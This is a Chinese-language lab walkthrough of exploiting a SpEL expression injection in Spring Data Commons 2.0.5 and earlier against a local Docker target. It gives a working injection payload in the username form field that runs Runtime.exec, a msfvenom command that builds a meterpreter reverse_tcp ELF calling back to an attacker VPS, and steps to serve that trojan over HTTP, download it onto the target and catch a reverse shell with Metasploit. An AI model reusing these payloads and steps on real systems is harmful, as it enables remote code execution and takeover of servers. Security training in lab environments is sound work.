Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
启动环境之后,访问192.168.217.139:8080/users页面填写注册信息并抓包
抓到包之后利用payload进行验证漏洞是否存在
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
发送命令之后返回500说明执行成功,接着我们登录到doker容器看到success文件成功被创建,说明漏洞存在
那么我们就可以利用它来进行反弹shell的操作。首先先生成一个木马文件
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=vps地址 LPORT=监听端口 -f elf > shll.elf
生成之后赋予该文件权限,不然该文件无法被执行。赋予权限
chmod 777 shll.elf
接着在生成的文件所在目录开启http服务,这样才能把木马文件上传到靶机中
用浏览器访问检查是否正常
能正常访问到,那么我们就可以使用命令下载木马文件到靶机中
执行命令完成之后再到docker容器中进行检查,查看文件是否下载成功。
看到靶机中已存在shll.elf文件。接着我们就需要开启监听,这时候用nc进行监听的话,收不到反弹的shell。通过msf来开启监听
开启监听之后,再修改请求命令,让靶机执行木马文件上线。
执行之后如果没成功反弹shell ,可以先执行赋予文件权限的命令
然后再次进行执行木马文件的操作,就成功返回shell啦